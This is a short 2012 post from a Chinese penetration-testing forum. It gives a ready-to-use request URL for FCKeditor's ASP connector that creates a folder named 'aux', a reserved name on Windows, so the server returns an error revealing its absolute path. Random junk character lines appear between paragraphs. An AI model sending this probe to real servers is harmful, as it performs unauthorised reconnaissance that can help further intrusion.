中国网络渗透测试联盟
标题:
最新FCKeditor爆绝对路径漏洞
[打印本页]
作者:
admin
时间:
2012-11-21 13:39
标题:
最新FCKeditor爆绝对路径漏洞
代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
) z* x. Z8 j0 F* i& j
! M- a1 _7 X* f7 ~5 p" e
0 X. t. m4 J" e+ P) Q- t5 b4 ]
版本未测试。。。
8 |% k" k" m# S' D# c( V' b
5 o7 K0 U. W7 s+ }
原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
0 ^! A! Y" |, T0 s2 k
" [, I _6 X* Z; E
0 @8 B$ e- S' o3 o) M
听说IIS都可以。。
/ P7 V$ c4 f) u: ~# u
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2